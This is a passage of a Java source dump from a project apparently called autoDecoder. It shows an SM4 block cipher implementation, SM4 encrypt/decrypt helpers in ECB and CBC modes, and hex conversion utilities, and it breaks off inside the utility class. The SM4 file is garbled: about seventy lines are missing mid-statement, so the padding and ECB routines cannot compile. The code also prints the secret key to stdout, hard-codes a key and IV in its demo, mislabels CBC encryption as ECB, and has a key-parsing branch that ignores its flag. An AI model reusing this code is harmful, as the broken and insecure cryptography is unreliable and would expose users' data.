<< 24 | (long) ((b[i + 1] & 0xff) << 16) | (long) ((b[i + 2] & 0xff) << 8) | (long) (b[i + 3] & 0xff) & 0xffffffffL; 18 | return n; 19 | } 20 | 21 | private void PUT_ULONG_BE(long n, byte[] b, int i) { 22 | b[i] = (byte) (int) (0xFF & n >> 24); 23 | b[i + 1] = (byte) (int) (0xFF & n >> 16); 24 | b[i + 2] = (byte) (int) (0xFF & n >> 8); 25 | b[i + 3] = (byte) (int) (0xFF & n); 26 | } 27 | 28 | private long SHL(long x, int n) { 29 | return (x & 0xFFFFFFFF) << n; 30 | } 31 | 32 | private long ROTL(long x, int n) { 33 | return SHL(x, n) | x >> (32 - n); 34 | } 35 | 36 | private void SWAP(long[] sk, int i) { 37 | long t = sk[i]; 38 | sk[i] = sk[(31 - i)]; 39 | sk[(31 - i)] = t; 40 | } 41 | 42 | public static final byte[] SboxTable = {(byte) 0xd6, (byte) 0x90, (byte) 0xe9, (byte) 0xfe, 43 | (byte) 0xcc, (byte) 0xe1, 0x3d, (byte) 0xb7, 0x16, (byte) 0xb6, 44 | 0x14, (byte) 0xc2, 0x28, (byte) 0xfb, 0x2c, 0x05, 0x2b, 0x67, 45 | (byte) 0x9a, 0x76, 0x2a, (byte) 0xbe, 0x04, (byte) 0xc3, 46 | (byte) 0xaa, 0x44, 0x13, 0x26, 0x49, (byte) 0x86, 0x06, 47 | (byte) 0x99, (byte) 0x9c, 0x42, 0x50, (byte) 0xf4, (byte) 0x91, 48 | (byte) 0xef, (byte) 0x98, 0x7a, 0x33, 0x54, 0x0b, 0x43, 49 | (byte) 0xed, (byte) 0xcf, (byte) 0xac, 0x62, (byte) 0xe4, 50 | (byte) 0xb3, 0x1c, (byte) 0xa9, (byte) 0xc9, 0x08, (byte) 0xe8, 51 | (byte) 0x95, (byte) 0x80, (byte) 0xdf, (byte) 0x94, (byte) 0xfa, 52 | 0x75, (byte) 0x8f, 0x3f, (byte) 0xa6, 0x47, 0x07, (byte) 0xa7, 53 | (byte) 0xfc, (byte) 0xf3, 0x73, 0x17, (byte) 0xba, (byte) 0x83, 54 | 0x59, 0x3c, 0x19, (byte) 0xe6, (byte) 0x85, 0x4f, (byte) 0xa8, 55 | 0x68, 0x6b, (byte) 0x81, (byte) 0xb2, 0x71, 0x64, (byte) 0xda, 56 | (byte) 0x8b, (byte) 0xf8, (byte) 0xeb, 0x0f, 0x4b, 0x70, 0x56, 57 | (byte) 0x9d, 0x35, 0x1e, 0x24, 0x0e, 0x5e, 0x63, 0x58, (byte) 0xd1, 58 | (byte) 0xa2, 0x25, 0x22, 0x7c, 0x3b, 0x01, 0x21, 0x78, (byte) 0x87, 59 | (byte) 0xd4, 0x00, 0x46, 0x57, (byte) 0x9f, (byte) 0xd3, 0x27, 60 | 0x52, 0x4c, 0x36, 0x02, (byte) 0xe7, (byte) 0xa0, (byte) 0xc4, 61 | (byte) 0xc8, (byte) 0x9e, (byte) 0xea, (byte) 0xbf, (byte) 0x8a, 62 | (byte) 0xd2, 0x40, (byte) 0xc7, 0x38, (byte) 0xb5, (byte) 0xa3, 63 | (byte) 0xf7, (byte) 0xf2, (byte) 0xce, (byte) 0xf9, 0x61, 0x15, 64 | (byte) 0xa1, (byte) 0xe0, (byte) 0xae, 0x5d, (byte) 0xa4, 65 | (byte) 0x9b, 0x34, 0x1a, 0x55, (byte) 0xad, (byte) 0x93, 0x32, 66 | 0x30, (byte) 0xf5, (byte) 0x8c, (byte) 0xb1, (byte) 0xe3, 0x1d, 67 | (byte) 0xf6, (byte) 0xe2, 0x2e, (byte) 0x82, 0x66, (byte) 0xca, 68 | 0x60, (byte) 0xc0, 0x29, 0x23, (byte) 0xab, 0x0d, 0x53, 0x4e, 0x6f, 69 | (byte) 0xd5, (byte) 0xdb, 0x37, 0x45, (byte) 0xde, (byte) 0xfd, 70 | (byte) 0x8e, 0x2f, 0x03, (byte) 0xff, 0x6a, 0x72, 0x6d, 0x6c, 0x5b, 71 | 0x51, (byte) 0x8d, 0x1b, (byte) 0xaf, (byte) 0x92, (byte) 0xbb, 72 | (byte) 0xdd, (byte) 0xbc, 0x7f, 0x11, (byte) 0xd9, 0x5c, 0x41, 73 | 0x1f, 0x10, 0x5a, (byte) 0xd8, 0x0a, (byte) 0xc1, 0x31, 74 | (byte) 0x88, (byte) 0xa5, (byte) 0xcd, 0x7b, (byte) 0xbd, 0x2d, 75 | 0x74, (byte) 0xd0, 0x12, (byte) 0xb8, (byte) 0xe5, (byte) 0xb4, 76 | (byte) 0xb0, (byte) 0x89, 0x69, (byte) 0x97, 0x4a, 0x0c, 77 | (byte) 0x96, 0x77, 0x7e, 0x65, (byte) 0xb9, (byte) 0xf1, 0x09, 78 | (byte) 0xc5, 0x6e, (byte) 0xc6, (byte) 0x84, 0x18, (byte) 0xf0, 79 | 0x7d, (byte) 0xec, 0x3a, (byte) 0xdc, 0x4d, 0x20, 0x79, 80 | (byte) 0xee, 0x5f, 0x3e, (byte) 0xd7, (byte) 0xcb, 0x39, 0x48}; 81 | 82 | public static final int[] FK = {0xa3b1bac6, 0x56aa3350, 0x677d9197, 0xb27022dc}; 83 | 84 | public static final int[] CK = {0x00070e15, 0x1c232a31, 0x383f464d, 0x545b6269, 85 | 0x70777e85, 0x8c939aa1, 0xa8afb6bd, 0xc4cbd2d9, 86 | 0xe0e7eef5, 0xfc030a11, 0x181f262d, 0x343b4249, 87 | 0x50575e65, 0x6c737a81, 0x888f969d, 0xa4abb2b9, 88 | 0xc0c7ced5, 0xdce3eaf1, 0xf8ff060d, 0x141b2229, 89 | 0x30373e45, 0x4c535a61, 0x686f767d, 0x848b9299, 90 | 0xa0a7aeb5, 0xbcc3cad1, 0xd8dfe6ed, 0xf4fb0209, 91 | 0x10171e25, 0x2c333a41, 0x484f565d, 0x646b7279}; 92 | 93 | private byte sm4Sbox(byte inch) { 94 | int i = inch & 0xFF; 95 | byte retVal = SboxTable[i]; 96 | return retVal; 97 | } 98 | 99 | private long sm4Lt(long ka) { 100 | long bb = 0L; 101 | long c = 0L; 102 | byte[] a = new byte[4]; 103 | byte[] b = new byte[4]; 104 | PUT_ULONG_BE(ka, a, 0); 105 | b[0] = sm4Sbox(a[0]); 106 | b[1] = sm4Sbox(a[1]); 107 | b[2] = sm4Sbox(a[2]); 108 | b[3] = sm4Sbox(a[3]); 109 | bb = GET_ULONG_BE(b, 0); 110 | c = bb ^ ROTL(bb, 2) ^ ROTL(bb, 10) ^ ROTL(bb, 18) ^ ROTL(bb, 24); 111 | return c; 112 | } 113 | 114 | private long sm4F(long x0, long x1, long x2, long x3, long rk) { 115 | return x0 ^ sm4Lt(x1 ^ x2 ^ x3 ^ rk); 116 | } 117 | 118 | private long sm4CalciRK(long ka) { 119 | long bb = 0L; 120 | long rk = 0L; 121 | byte[] a = new byte[4]; 122 | byte[] b = new byte[4]; 123 | PUT_ULONG_BE(ka, a, 0); 124 | b[0] = sm4Sbox(a[0]); 125 | b[1] = sm4Sbox(a[1]); 126 | b[2] = sm4Sbox(a[2]); 127 | b[3] = sm4Sbox(a[3]); 128 | bb = GET_ULONG_BE(b, 0); 129 | rk = bb ^ ROTL(bb, 13) ^ ROTL(bb, 23); 130 | return rk; 131 | } 132 | 133 | private void sm4_setkey(long[] SK, byte[] key) { 134 | long[] MK = new long[4]; 135 | long[] k = new long[36]; 136 | int i = 0; 137 | MK[0] = GET_ULONG_BE(key, 0); 138 | MK[1] = GET_ULONG_BE(key, 4); 139 | MK[2] = GET_ULONG_BE(key, 8); 140 | MK[3] = GET_ULONG_BE(key, 12); 141 | k[0] = MK[0] ^ (long) FK[0]; 142 | k[1] = MK[1] ^ (long) FK[1]; 143 | k[2] = MK[2] ^ (long) FK[2]; 144 | k[3] = MK[3] ^ (long) FK[3]; 145 | for (; i < 32; i++) { 146 | k[(i + 4)] = (k[i] ^ sm4CalciRK(k[(i + 1)] ^ k[(i + 2)] ^ k[(i + 3)] ^ (long) CK[i])); 147 | SK[i] = k[(i + 4)]; 148 | } 149 | } 150 | 151 | private void sm4_one_round(long[] sk, byte[] input, byte[] output) { 152 | int i = 0; 153 | long[] ulbuf = new long[36]; 154 | ulbuf[0] = GET_ULONG_BE(input, 0); 155 | ulbuf[1] = GET_ULONG_BE(input, 4); 156 | ulbuf[2] = GET_ULONG_BE(input, 8); 157 | ulbuf[3] = GET_ULONG_BE(input, 12); 158 | while (i < 32) { 159 | ulbuf[(i + 4)] = sm4F(ulbuf[i], ulbuf[(i + 1)], ulbuf[(i + 2)], ulbuf[(i + 3)], sk[i]); 160 | i++; 161 | } 162 | PUT_ULONG_BE(ulbuf[35], output, 0); 163 | PUT_ULONG_BE(ulbuf[34], output, 4); 164 | PUT_ULONG_BE(ulbuf[33], output, 8); 165 | PUT_ULONG_BE(ulbuf[32], output, 12); 166 | } 167 | //修改了填充模式,为模式 168 | private byte[] padding(byte[] input, int mode) { 169 | if (input == null) { 170 | return null; 171 | } 172 | 173 | byte[] ret = (byte[]) null; 174 | if (mode == SM4_ENCRYPT) { 175 | //填充:hex必须是32的整数倍填充 ,填充的是80 00 00 00 176 | int p = 16 - input.length % 16; 177 | String inputHex = Util.byteToHex(input)+ "80"; 178 | // System.out.println(inputHex); 179 | StringBuffer stringBuffer =new StringBuffer(inputHex); 180 | // for (int i = 0; i 0; length -= 16) { 256 | byte[] in = new byte[16]; 257 | byte[] out = new byte[16]; 258 | bins.read(in); 259 | sm4_one_round(ctx.sk, in, out); 260 | bous.write(out); 261 | } 262 | 263 | byte[] output = bous.toByteArray(); 264 | if (ctx.isPadding && ctx.mode == SM4_DECRYPT) { 265 | output = padding(output, SM4_DECRYPT); 266 | } 267 | bins.close(); 268 | bous.close(); 269 | return output; 270 | } 271 | 272 | public byte[] sm4_crypt_cbc(SM4_Context ctx, byte[] iv, byte[] input) throws Exception { 273 | if (iv == null || iv.length != 16) { 274 | throw new Exception("iv error!"); 275 | } 276 | 277 | if (input == null) { 278 | throw new Exception("input is null!"); 279 | } 280 | 281 | if (ctx.isPadding && ctx.mode == SM4_ENCRYPT) { 282 | input = padding(input, SM4_ENCRYPT); 283 | } 284 | 285 | int i = 0; 286 | int length = input.length; 287 | ByteArrayInputStream bins = new ByteArrayInputStream(input); 288 | ByteArrayOutputStream bous = new ByteArrayOutputStream(); 289 | if (ctx.mode == SM4_ENCRYPT) { 290 | for (; length > 0; length -= 16) { 291 | byte[] in = new byte[16]; 292 | byte[] out = new byte[16]; 293 | byte[] out1 = new byte[16]; 294 | 295 | bins.read(in); 296 | for (i = 0; i < 16; i++) { 297 | out[i] = ((byte) (in[i] ^ iv[i])); 298 | } 299 | sm4_one_round(ctx.sk, out, out1); 300 | System.arraycopy(out1, 0, iv, 0, 16); 301 | bous.write(out1); 302 | } 303 | } else { 304 | byte[] temp = new byte[16]; 305 | for (; length > 0; length -= 16) { 306 | byte[] in = new byte[16]; 307 | byte[] out = new byte[16]; 308 | byte[] out1 = new byte[16]; 309 | 310 | bins.read(in); 311 | System.arraycopy(in, 0, temp, 0, 16); 312 | sm4_one_round(ctx.sk, in, out); 313 | for (i = 0; i < 16; i++) { 314 | out1[i] = ((byte) (out[i] ^ iv[i])); 315 | } 316 | System.arraycopy(temp, 0, iv, 0, 16); 317 | bous.write(out1); 318 | } 319 | } 320 | 321 | byte[] output = bous.toByteArray(); 322 | if (ctx.isPadding && ctx.mode == SM4_DECRYPT) { 323 | output = padding(output, SM4_DECRYPT); 324 | } 325 | bins.close(); 326 | bous.close(); 327 | return output; 328 | } 329 | } 330 | -------------------------------------------------------------------------------- /src/com/autoDecoder/util/SM4Utils.java: -------------------------------------------------------------------------------- 1 | package com.autoDecoder.util; 2 | 3 | /** 4 | * Created by $(USER) on $(DATE) 5 | */ 6 | 7 | import com.autoDecoder.util.Util; 8 | import org.apache.commons.codec.binary.Base64; 9 | 10 | import java.io.IOException; 11 | import java.util.Arrays; 12 | import java.util.regex.Matcher; 13 | import java.util.regex.Pattern; 14 | 15 | public class SM4Utils { 16 | // private String secretKey = ""; 17 | // private String iv = ""; 18 | // private boolean hexString = false; 19 | 20 | public String secretKey = ""; 21 | public String iv = ""; 22 | public boolean hexString = false; 23 | 24 | public SM4Utils() { 25 | } 26 | 27 | 28 | public String encryptData_ECB(String plainText) { 29 | try { 30 | SM4_Context ctx = new SM4_Context(); 31 | ctx.isPadding = true; 32 | ctx.mode = SM4.SM4_ENCRYPT; 33 | 34 | byte[] keyBytes; 35 | if (hexString) { 36 | keyBytes = Util.hexStringToBytes(secretKey); 37 | } else { 38 | keyBytes = Util.hexStringToBytes(secretKey); 39 | } 40 | 41 | SM4 sm4 = new SM4(); 42 | sm4.sm4_setkey_enc(ctx, keyBytes); 43 | byte[] encrypted = sm4.sm4_crypt_ecb(ctx, plainText.getBytes("UTF-8")); 44 | System.out.println("SM4Utils 44 " + Util.byteToHex(encrypted)); 45 | return Util.byteToHex(encrypted); 46 | } catch (Exception e) { 47 | e.printStackTrace(); 48 | return null; 49 | } 50 | } 51 | 52 | public String decryptData_ECB(String cipherText) { 53 | try { 54 | byte[] encrypted = Util.hexToByte(cipherText); 55 | cipherText=Base64.encodeBase64String(encrypted);; 56 | //cipherText = new BASE64Encoder().encode(encrypted); 57 | if (cipherText != null && cipherText.trim().length() > 0) { 58 | Pattern p = Pattern.compile("\\s*|\t|\r|\n"); 59 | Matcher m = p.matcher(cipherText); 60 | cipherText = m.replaceAll(""); 61 | } 62 | System.out.println(secretKey); 63 | 64 | SM4_Context ctx = new SM4_Context(); 65 | ctx.isPadding = true; 66 | ctx.mode = SM4.SM4_DECRYPT; 67 | 68 | byte[] keyBytes; 69 | if (hexString) { 70 | keyBytes = Util.hexStringToBytes(secretKey); 71 | } else { 72 | keyBytes = secretKey.getBytes(); 73 | } 74 | 75 | SM4 sm4 = new SM4(); 76 | sm4.sm4_setkey_dec(ctx, keyBytes); 77 | System.out.println("SM4Utils 77 " + cipherText); 78 | byte[] decrypted = sm4.sm4_crypt_ecb(ctx, Base64.decodeBase64(cipherText)); 79 | //byte[] decrypted = sm4.sm4_crypt_ecb(ctx, new BASE64Decoder().decodeBuffer(cipherText)); 80 | return new String(decrypted, "UTF-8"); 81 | } catch (Exception e) { 82 | // e.printStackTrace(); 83 | return null; 84 | } 85 | } 86 | 87 | public String encryptData_CBC(String plainText) { 88 | try { 89 | SM4_Context ctx = new SM4_Context(); 90 | ctx.isPadding = true; 91 | ctx.mode = SM4.SM4_ENCRYPT; 92 | 93 | byte[] keyBytes; 94 | byte[] ivBytes; 95 | if (hexString) { 96 | keyBytes = Util.hexStringToBytes(secretKey); 97 | ivBytes = Util.hexStringToBytes(iv); 98 | } else { 99 | keyBytes = secretKey.getBytes(); 100 | ivBytes = iv.getBytes(); 101 | } 102 | 103 | SM4 sm4 = new SM4(); 104 | sm4.sm4_setkey_enc(ctx, keyBytes); 105 | byte[] encrypted = sm4.sm4_crypt_cbc(ctx, ivBytes, plainText.getBytes("UTF-8")); 106 | return Util.byteToHex(encrypted); 107 | } catch (Exception e) { 108 | e.printStackTrace(); 109 | return null; 110 | } 111 | } 112 | 113 | public String decryptData_CBC(String cipherText) { 114 | try { 115 | byte[] encrypted = Util.hexToByte(cipherText); 116 | cipherText=Base64.encodeBase64String(encrypted);; 117 | //cipherText = new BASE64Encoder().encode(encrypted); 118 | if (cipherText != null && cipherText.trim().length() > 0) { 119 | Pattern p = Pattern.compile("\\s*|\t|\r|\n"); 120 | Matcher m = p.matcher(cipherText); 121 | cipherText = m.replaceAll(""); 122 | } 123 | SM4_Context ctx = new SM4_Context(); 124 | ctx.isPadding = true; 125 | ctx.mode = SM4.SM4_DECRYPT; 126 | 127 | byte[] keyBytes; 128 | byte[] ivBytes; 129 | if (hexString) { 130 | keyBytes = Util.hexStringToBytes(secretKey); 131 | ivBytes = Util.hexStringToBytes(iv); 132 | } else { 133 | keyBytes = secretKey.getBytes(); 134 | ivBytes = iv.getBytes(); 135 | } 136 | 137 | SM4 sm4 = new SM4(); 138 | sm4.sm4_setkey_dec(ctx, keyBytes); 139 | //byte[] decrypted = sm4.sm4_crypt_cbc(ctx, ivBytes, new BASE64Decoder().decodeBuffer(cipherText)); 140 | byte[] decrypted = sm4.sm4_crypt_cbc(ctx, ivBytes, Base64.decodeBase64(cipherText)); 141 | /*String text = new String(decrypted, "UTF-8"); 142 | return text.substring(0,text.length()-1);*/ 143 | return new String(decrypted, "UTF-8"); 144 | } catch (Exception e) { 145 | e.printStackTrace(); 146 | return null; 147 | } 148 | } 149 | 150 | public static void main(String[] args) throws IOException { 151 | String plainText = "I Love You Every Day"; 152 | String s = Util.byteToHex(plainText.getBytes()); 153 | System.out.println("原文" + s); 154 | SM4Utils sm4 = new SM4Utils(); 155 | //sm4.secretKey = "JeF8U9wHFOMfs2Y8"; 156 | sm4.secretKey = "1d8c95e41c72969c66b88c4911d376ca"; 157 | sm4.iv = "97f4db469af2df1595f4c81664666883"; 158 | sm4.hexString = true; 159 | 160 | System.out.println("ECB模式加密"); 161 | String cipherText = sm4.encryptData_CBC(plainText); 162 | System.out.println("密文: " + cipherText); 163 | System.out.println(""); 164 | 165 | String plainText2 = sm4.decryptData_ECB("9a2eb12038cf8e85873c63fb45d2a0424e8a2ac8d2ed0a84271a9a5ee63a8e07ab11015e14e1741d51bde64c00240e16f126b322575cb68999de33d4daf6a8c36b0d25f9dc074a560d95b562d5b9fc640c0d8fe4f0461f1663fb01c76effee06040000436413590dc7677dd13f98f3d45115c817852292a0ed9716bd6d286358eb908b46c41a96e7f261a2e5bfb34bf71dfa4773d84be350628773c4dc2e82eacb1cdcb1f3e216ec3a2ec8544b78010febeb99697afc37f8352c9099490d8e13"); 166 | System.out.println("明文: " + plainText2); 167 | 168 | // System.out.println("CBC模式加密"); 169 | // sm4.iv = "31313131313131313131313131313131"; 170 | // String cipherText2 = sm4.encryptData_CBC(plainText); 171 | // System.out.println("加密密文: " + cipherText2); 172 | // System.out.println(""); 173 | // 174 | // String plainText3 = sm4.decryptData_CBC(cipherText2); 175 | // System.out.println("解密明文: " + plainText3); 176 | 177 | } 178 | } 179 | -------------------------------------------------------------------------------- /src/com/autoDecoder/util/SM4_Context.java: -------------------------------------------------------------------------------- 1 | package com.autoDecoder.util; 2 | 3 | /** 4 | * Created by $(USER) on $(DATE) 5 | */ 6 | public class SM4_Context { 7 | public int mode; 8 | 9 | public long[] sk; 10 | 11 | public boolean isPadding; 12 | 13 | public SM4_Context() 14 | { 15 | this.mode = 1; 16 | this.isPadding = true; 17 | this.sk = new long[32]; 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /src/com/autoDecoder/util/Util.java: -------------------------------------------------------------------------------- 1 | package com.autoDecoder.util; 2 | 3 | import java.math.BigInteger; 4 | 5 | public class Util { 6 | /** 7 | * 整形转换成网络传输的字节流(字节数组)型数据 8 | * 9 | * @param num 一个整型数据 10 | * @return 4个字节的自己数组 11 | */ 12 | public static byte[] intToBytes(int num) { 13 | byte[] bytes = new byte[4]; 14 | bytes[0] = (byte) (0xff & (num >> 0)); 15 | bytes[1] = (byte) (0xff & (num >> 8)); 16 | bytes[2] = (byte) (0xff & (num >> 16)); 17 | bytes[3] = (byte) (0xff & (num >> 24)); 18 | return bytes; 19 | } 20 | 21 | /** 22 | * 四个字节的字节数据转换成一个整形数据 23 | * 24 | * @param bytes 4个字节的字节数组 25 | * @return 一个整型数据 26 | */ 27 | public static int byteToInt(byte[] bytes) { 28 | int num = 0; 29 | int temp; 30 | temp = (0x000000ff & (bytes[0])) << 0; 31 | num = num | temp; 32 | temp = (0x000000ff & (bytes[1])) << 8; 33 | num = num | temp; 34 | temp = (0x000000ff & (bytes[2])) << 16; 35 | num = num | temp; 36 | temp = (0x000000ff & (bytes[3])) << 24; 37 | num = num | temp; 38 | return num; 39 | } 40 | 41 | /** 42 | * 长整形转换成网络传输的字节流(字节数组)型数据 43 | * 44 | * @param num 一个长整型数据 45 | * @return 4个字节的自己数组 46 | */ 47 | public static byte[] longToBytes(long num) { 48 | byte[] bytes = new byte[8]; 49 | for (int i = 0; i < 8; i++) { 50 | bytes[i] = (byte) (0xff & (num >> (i * 8))); 51 | } 52 | 53 | return bytes; 54 | } 55 | 56 | /** 57 | * 大数字转换字节流(字节数组)型数据 58 | * 59 | * @param n 60 | * @return 61 | */ 62 | public static byte[] byteConvert32Bytes(BigInteger n) { 63 | byte tmpd[] = (byte[]) null; 64 | if (n == null) { 65 | return null; 66 | } 67 | 68 | if (n.toByteArray().length == 33) { 69 | tmpd = new byte[32]; 70 | System.arraycopy(n.toByteArray(), 1, tmpd, 0, 32); 71 | } else if (n.toByteArray().length == 32) { 72 | tmpd = n.toByteArray(); 73 | } else { 74 | tmpd = new byte[32]; 75 | for (int i = 0; i < 32 - n.toByteArray().length; i++) { 76 | tmpd[i] = 0; 77 | } 78 | System.arraycopy(n.toByteArray(), 0, tmpd, 32 - n.toByteArray().length, n.toByteArray().length); 79 | } 80 | return tmpd; 81 | } 82 | 83 | /** 84 | * 换字节流(字节数组)型数据转大数字 85 | * 86 | * @param b 87 | * @return 88 | */ 89 | public static BigInteger byteConvertInteger(byte[] b) { 90 | if (b[0] < 0) { 91 | byte[] temp = new byte[b.length + 1]; 92 | temp[0] = 0; 93 | System.arraycopy(b, 0, temp, 1, b.length); 94 | return new BigInteger(temp); 95 | } 96 | return new BigInteger(b); 97 | } 98 | 99 | /** 100 | * 根据字节数组获得值(十六进制数字) 101 | * 102 | * @param bytes 103 | * @return 104 | */ 105 | public static String getHexString(byte[] bytes) { 106 | return getHexString(bytes, true); 107 | } 108 | 109 | /** 110 | * 根据字节数组获得值(十六进制数字) 111 | * 112 | * @param bytes 113 | * @param upperCase 114 | * @return 115 | */ 116 | public static String getHexString(byte[] bytes, boolean upperCase) { 117 | String ret = ""; 118 | for (int i = 0; i < bytes.length; i++) { 119 | ret += Integer.toString((bytes[i] & 0xff) + 0x100, 16).substring(1); 120 | } 121 | return upperCase ? ret.toUpperCase() : ret; 122 | } 123 | 124 | /** 125 | * 打印十六进制字符串 126 | * 127 | * @param bytes 128 | */ 129 | public static void printHexString(byte[] bytes) { 130 | for (int i = 0; i < bytes.length; i++) { 131 | String hex = Integer.toHexString(bytes[i] & 0xFF); 132 | if (hex.length() == 1) { 133 | hex = '0' + hex; 134 | } 135 | System.out.print("0x" + hex.toUpperCase() + ","); 136 | } 137 | System.out.println(""); 138 | } 139 | 140 | /** 141 | * Convert hex string to byte[] 142 | * 143 | * @param hexString the hex string 144 | * @return byte[] 145 | */ 146 | public static byte[] hexStringToBytes(String hexString) { 147 | if (hexString == null || hexString.equals("")) { 148 | return null; 149 | } 150 | 151 | hexString = hexString.toUpperCase(); 152 | int length = hexString.length() / 2; 153 | char[] hexChars = hexString.toCharArray(); 154 | byte[] d = new byte[length]; 155 | for (int i = 0; i < length; i++) { 156 | int pos = i * 2; 157 | d[i] = (byte) (charToByte(hexChars[pos]) << 4 | charToByte(hexChars[pos + 1])); 158 | } 159 | return d; 160 | } 161 | 162 | /** 163 | * Convert char to byte 164 | * 165 | * @param c char 166 | * @return byte 167 | */ 168 | public static byte charToByte(char c) { 169 | return (byte) "0123456789ABCDEF".indexOf(c); 170 | } 171 | 172 | /** 173 | * 用于建立十六进制字符的输出的小写字符数组 174 | */ 175 | private static final char[] DIGITS_LOWER = {'0', '1', '2', '3', '4', '5', 176 | '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f'}; 177 | 178 | /** 179 | * 用于建立十六进制字符的输出的大写字符数组 180 | */ 181 | private static final char[] DIGITS_UPPER = {'0', '1', '2', '3', '4', '5', 182 | '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F'}; 183 | 184 | /** 185 | * 将字节数组转换为十六进制字符数组 186 | * 187 | * @param data byte[] 188 | * @return 十六进制char[] 189 | */ 190 | public static char[] encodeHex(byte[] data) { 191 | return encodeHex(data, true); 192 | } 193 | 194 | /** 195 | * 将字节数组转换为十六进制字符数组 196 | * 197 | * @param data byte[] 198 | * @param toLowerCase true 传换成小写格式 , false 传换成大写格式 199 | * @return 十六进制char[] 200 | */ 201 | public static char[] encodeHex(byte[] data, boolean toLowerCase) { 202 | return encodeHex(data, toLowerCase ? DIGITS_LOWER : DIGITS_UPPER); 203 | } 204 | 205 | /** 206 | * 将字节数组转换为十六进制字符数组 207 | * 208 | * @param data byte[] 209 | * @param toDigits 用于控制输出的char[] 210 | * @return 十六进制char[] 211 | */ 212 | protected static char[] encodeHex(byte[] data, char[] toDigits) { 213 | int l = data.length; 214 | char[] out = new char[l << 1]; 215 | // two characters form the hex value. 216 | for (int i = 0, j = 0; i < l; i++) { 217 | out[j++] = toDigits[(0xF0 & data[i]) >>> 4]; 218 | out[j++] = toDigits[0x0F & data[i]]; 219 | } 220 | return out; 221 | } 222 | 223 | /** 224 | * 将字节数组转换为十六进制字符串 225 | * 226 | * @param data byte[] 227 | * @return 十六进制String 228 | */ 229 | public static String encodeHexString(byte[] data) { 230 | return encodeHexString(data, true); 231 | } 232 | 233 | /** 234 | * 将字节数组转换为十六进制字符串 235 | * 236 | * @param data byte[] 237 | * @param toLowerCase true 传换成小写格式 , false 传换成大写格式 238 | * @return 十六进制String 239 | */ 240 | public static String encodeHexString(byte[] data, boolean toLowerCase) { 241 | return encodeHexString(data, toLowerCase ? DIGITS_LOWER : DIGITS_UPPER); 242 | } 243 | 244 | /** 245 | * 将字节数组转换为十六进制字符串 246 | * 247 | * @param data byte[] 248 | * @param toDigits 用于控制输出的char[] 249 | * @return 十六进制String 250 | */ 251 | protected static String encodeHexString(byte[] data, char[] toDigits) { 252 | return new String(encodeHex(data, toDigits)); 253 | } 254 | 255 | /** 256 | * 将十六进制字符数组转换为字节数组 257 | * 258 | * @param data 十六进制char[] 259 | * @return byte[] 260 | * @throws RuntimeException 如果源十六进制字符数组是一个奇怪的长度,将抛出运行时异常 261 | */ 262 | public static byte[] decodeHex(char[] data) { 263 | int len = data.length; 264 | 265 | if ((len & 0x01) != 0) { 266 | throw new RuntimeException("Odd number of characters."); 267 | } 268 | 269 | byte[] out = new byte[len >> 1]; 270 | 271 | // two characters form the hex value. 272 | for (int i = 0, j = 0; j < len; i++) { 273 | int f = toDigit(data[j], j) << 4; 274 | j++; 275 | f = f | toDigit(data[j], j); 276 | j++; 277 | out[i] = (byte) (f & 0xFF); 278 | } 279 | 280 | return out; 281 | } 282 | 283 | /** 284 | * 将十六进制字符转换成一个整数 285 | * 286 | * @param ch 十六进制char 287 | * @param index 十六进制字符在字符数组中的位置 288 | * @return 一个整数 289 | * @throws RuntimeException 当ch不是一个合法的十六进制字符时,抛出运行时异常 290 | */ 291 | protected static int toDigit(char ch, int index) { 292 | int digit = Character.digit(ch, 16); 293 | if (digit == -1) { 294 | throw new RuntimeException("Illegal hexadecimal character " + ch 295 | + " at index " + index); 296 | } 297 | return digit; 298 | } 299 | 300 | /** 301 | * 数字字符串转ASCII码字符串 302 | * 303 | * @param String 字符串 304 | * @return ASCII字符串 305 | */ 306 | public static String StringToAsciiString(String content) { 307 | String result = ""; 308 | int max = content.length(); 309 | for (int i = 0; i < max; i++) { 310 | char c = content.charAt(i); 311 | String b = Integer.toHexString(c); 312 | result = result + b; 313 | } 314 | return result; 315 | } 316 | 317 | /** 318 | * 十六进制转字符串 319 | * 320 | * @param hexString 十六进制字符串 321 | * @param encodeType 编码类型4:Unicode,2:普通编码 322 | * @return 字符串 323 | */ 324 | public static String hexStringToString(String hexString, int encodeType) { 325 | String result = ""; 326 | int max = hexString.length() / encodeType; 327 | for (int i = 0; i < max; i++) { 328 | char c = (char) hexStringToAlgorism(hexString 329 | .substring(i * encodeType, (i + 1) * encodeType)); 330 | result += c; 331 | } 332 | return result; 333 | } 334 | 335 | /** 336 | * 十六进制字符串装十进制 337 | * 338 | * @param hex 十六进制字符串 339 | * @return 十进制数值 340 | */ 341 | public static int hexStringToAlgorism(String hex) { 342 | hex = hex.toUpperCase(); 343 | int max = hex.length(); 344 | int result = 0; 345 | for (int i = max; i > 0; i--) { 346 | char c = hex.charAt(i - 1); 347 | int algorism = 0; 348 | if (c >= '0' && c <= '9') { 349 | algorism = c - '0'; 350 | } else { 351 | algorism = c - 55; 352 | } 353 | result += Math.pow(16, max - i) * algorism; 354 | } 355 | return result; 356 | } 357 | 358 | /** 359 | * 十六转二进制 360 | * 361 | * @param hex 十六进制字符串 362 | * @return 二进制字符串 363 | */ 364 | public static String hexStringToBinary(String hex) { 365 | hex = hex.toUpperCase(); 366 | String result = ""; 367 | int max = hex.length(); 368 | for (int i = 0; i < max; i++) { 369 | char c = hex.charAt(i); 370 | switch (c) { 371 | case '0': 372 | result += "0000"; 373 | break; 374 | case '1': 375 | result += "0001"; 376 | break; 377 | case '2': 378 | result += "0010"; 379 | break; 380 | case '3': 381 | result += "0011"; 382 | break; 383 | case '4': 384 | result += "0100"; 385 | break; 386 | case '5': 387 | result += "0101"; 388 | break; 389 | case '6': 390 | result += "0110"; 391 | break; 392 | case '7': 393 | result += "0111"; 394 | break; 395 | case '8': 396 | result += "1000"; 397 | break; 398 | case '9': 399 | result += "1001"; 400 | break; 401 | case 'A': 402 | result += "1010"; 403 | break; 404 | case 'B': 405 | result += "1011"; 406 | break; 407 | case 'C': 408 | result += "1100"; 409 | break; 410 | case 'D': 411 | result += "1101"; 412 | break; 413 | case 'E': 414 | result += "1110"; 415 | break; 416 | case 'F': 417 | result += "1111"; 418 | break; 419 | } 420 | } 421 | return result; 422 | } 423 | 424 | /** 425 | * ASCII码字符串转数字字符串 426 | * 427 | * @param String ASCII字符串 428 | * @return 字符串 429 | */ 430 | public static String AsciiStringToString(String content) { 431 | String result = ""; 432 | int length = content.length() / 2; 433 